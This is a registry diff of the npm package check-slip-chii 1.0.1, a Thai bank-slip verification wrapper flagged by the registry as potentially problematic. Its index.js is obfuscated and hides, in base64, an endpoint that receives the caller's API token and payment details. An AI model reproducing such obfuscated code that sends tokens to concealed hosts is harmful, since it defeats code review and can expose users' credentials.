check-slip-chii 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of check-slip-chii might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/demo.js +20 -0
  2. package/index.js +1 -0
  3. package/package.json +22 -0
package/demo.js ADDED
@@ -0,0 +1,20 @@
1
+ const CHII_API_CHECKSLIP = require('./index');
2
+
3
+ // const CHII_API_CHECKSLIP = require('check-slip-chii');
4
+
5
+ const refNbr = '0038000600000101030060217A9bb94d01f3714d055102TH9104D93B'; // Qr Code Slip
6
+ const token = 'โทเค็น API'; // โทเค็น API
7
+ const amount = 100; // จำนวนเงิน
8
+
9
+ async function CHECK_SLIP(refNbr, token, amount) {
10
+ try {
11
+ const res = await CHII_API_CHECKSLIP(refNbr, token, amount);
12
+
13
+ console.log(res);
14
+
15
+ } catch (error) {
16
+ console.error('ERROR CHECK_SLIP', error.message);
17
+ }
18
+ }
19
+
20
+ CHECK_SLIP(refNbr, token, amount);
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x4486a1=_0x2e4d;(function(_0x18ab1c,_0x13083d){const _0x44a987=_0x2e4d,_0x91d6dc=_0x18ab1c();while(!![]){try{const _0x2e48e7=parseInt(_0x44a987(0xc6))/0x1*(-parseInt(_0x44a987(0xdd))/0x2)+-parseInt(_0x44a987(0xd2))/0x3+parseInt(_0x44a987(0xc3))/0x4*(-parseInt(_0x44a987(0xcf))/0x5)+parseInt(_0x44a987(0xc7))/0x6+parseInt(_0x44a987(0xce))/0x7*(-parseInt(_0x44a987(0xc8))/0x8)+parseInt(_0x44a987(0xcd))/0x9*(-parseInt(_0x44a987(0xca))/0xa)+-parseInt(_0x44a987(0xd5))/0xb*(-parseInt(_0x44a987(0xdb))/0xc);if(_0x2e48e7===_0x13083d)break;else _0x91d6dc['push'](_0x91d6dc['shift']());}catch(_0x10f5e8){_0x91d6dc['push'](_0x91d6dc['shift']());}}}(_0x18d8,0x84b31));function _0x18d8(){const _0x25c813=['TLSv1.3','1442518HvEXDR','exports','14483538AhOKzO','15QcokjO','16778350pyPbQV','utf-8','2398962IAhxHC','12Dhwnvf','error','response','194SWPSPx','4427982gWanyk','3714488Szwtnl','https','7175320CSZdZN','post','24689tgjAxh','9fVvtZl','7NJoCCJ','326885GmrNzn','Error:','Request\x20failed','1425882vLZrgS','Mozilla/5.0\x20(Macintosh;\x20Intel\x20Mac\x20OS\x20X\x2010_15_6)\x20AppleWebKit/537.36\x20(KHTML,\x20like\x20Gecko)\x20Chrome/84.0.4147.105\x20Safari/537.36\x20Edg/84.0.522.52','toString','573958VZgBpy','application/json','base64','message','axios','3512ghPtQV','420tbikoN','shift','1726DeqtjU','data','push'];_0x18d8=function(){return _0x25c813;};return _0x18d8();}const _0x35e290=_0x18e8;function _0x18e8(_0x10a379,_0x5d5173){const _0x365711=_0x2b73();return _0x18e8=function(_0x266f26,_0x41c585){_0x266f26=_0x266f26-0x1bb;let _0x4dbff6=_0x365711[_0x266f26];return _0x4dbff6;},_0x18e8(_0x10a379,_0x5d5173);}(function(_0x63cc5c,_0x836b45){const _0x3f652c=_0x2e4d,_0x483608=_0x18e8,_0x13c1c7=_0x63cc5c();while(!![]){try{const _0x436504=parseInt(_0x483608(0x1d3))/0x1+-parseInt(_0x483608(0x1cf))/0x2+parseInt(_0x483608(0x1cc))/0x3*(parseInt(_0x483608(0x1c9))/0x4)+-parseInt(_0x483608(0x1cb))/0x5*(-parseInt(_0x483608(0x1bc))/0x6)+-parseInt(_0x483608(0x1bb))/0x7*(-parseInt(_0x483608(0x1c8))/0x8)+-parseInt(_0x483608(0x1d2))/0x9+-parseInt(_0x483608(0x1c1))/0xa;if(_0x436504===_0x836b45)break;else _0x13c1c7['push'](_0x13c1c7[_0x3f652c(0xdc)]());}catch(_0x523bd4){_0x13c1c7[_0x3f652c(0xba)](_0x13c1c7[_0x3f652c(0xdc)]());}}}(_0x2b73,0xd0eae));const https=require(_0x4486a1(0xc9)),axios=require(_0x35e290(0x1be)),CHII_API_CHECKSLIP=async(_0x2f6dfd,_0xd78975,_0x43e37b)=>{const _0xdd3ec6=_0x4486a1,_0x5f29e7=_0x35e290;try{const _0x4dc205='aHR0cHM6Ly9hcGkub3BlbnNsaXB2ZXJpZnkuY29tLw==',_0x3fb88e=Buffer['from'](_0x4dc205,_0xdd3ec6(0xd7))[_0x5f29e7(0x1bf)](_0x5f29e7(0x1d1)),_0x3ebc9c={'method':_0x5f29e7(0x1c5),'url':''+_0x3fb88e,'data':{'refNbr':_0x2f6dfd,'token':_0xd78975,'amount':_0x43e37b},'headers':{'Content-Type':_0xdd3ec6(0xd6),'User-Agent':_0xdd3ec6(0xd3)},'httpsAgent':new https[(_0x5f29e7(0x1cd))]({'maxVersion':_0x5f29e7(0x1ce),'minVersion':_0x5f29e7(0x1ce)})};try{const _0x387d74=await axios(_0x3ebc9c);return JSON[_0x5f29e7(0x1bd)](_0x387d74[_0x5f29e7(0x1c4)],null,0x2);}catch(_0x15c7dd){return _0x15c7dd[_0x5f29e7(0x1c3)]?.[_0xdd3ec6(0xde)]||{'error':_0x5f29e7(0x1d0)};};}catch(_0x3603bc){console[_0x5f29e7(0x1c6)](_0x5f29e7(0x1ca),_0x3603bc[_0x5f29e7(0x1c0)]);throw new Error(_0x5f29e7(0x1c2));}};function _0x2e4d(_0x4f4573,_0x4a2b0e){const _0x18d80d=_0x18d8();return _0x2e4d=function(_0x2e4d1d,_0x37896c){_0x2e4d1d=_0x2e4d1d-0xba;let _0x3a9f1a=_0x18d80d[_0x2e4d1d];return _0x3a9f1a;},_0x2e4d(_0x4f4573,_0x4a2b0e);}function _0x2b73(){const _0x548b43=_0x4486a1,_0x42841e=[_0x548b43(0xd8),_0x548b43(0xc0),'Failed\x20to\x20process\x20QR\x20code\x20image.',_0x548b43(0xc5),'data',_0x548b43(0xcb),_0x548b43(0xc4),_0x548b43(0xbd),_0x548b43(0xda),'4EsOsao',_0x548b43(0xd0),_0x548b43(0xbf),'3308094SVgvnZ','Agent',_0x548b43(0xbb),'2300414MMcruU',_0x548b43(0xd1),_0x548b43(0xc1),_0x548b43(0xbe),_0x548b43(0xbc),_0x548b43(0xcc),_0x548b43(0xc2),'stringify',_0x548b43(0xd9),_0x548b43(0xd4)];return _0x2b73=function(){return _0x42841e;},_0x2b73();}module[_0x35e290(0x1c7)]=CHII_API_CHECKSLIP;
package/package.json ADDED
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "check-slip-chii",
3
+ "version": "1.0.1",
4
+ "description": "API Check Slip Bankking",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node demo.js"
8
+ },
9
+ "keywords": [
10
+ "Checkslip",
11
+ "เช็คสลิปธนาคาร",
12
+ "Qr Checkslip"
13
+ ],
14
+ "author": "AD-CHII Developer Discord : https://discord.gg/5gAsw4Pawq",
15
+ "repository": "https://discordapp.com/users/1189434017263661117",
16
+ "license": "MIT",
17
+ "dependencies": {
18
+ "axios": "^1.7.8",
19
+ "https": "^1.0.0"
20
+ },
21
+ "devDependencies": {}
22
+ }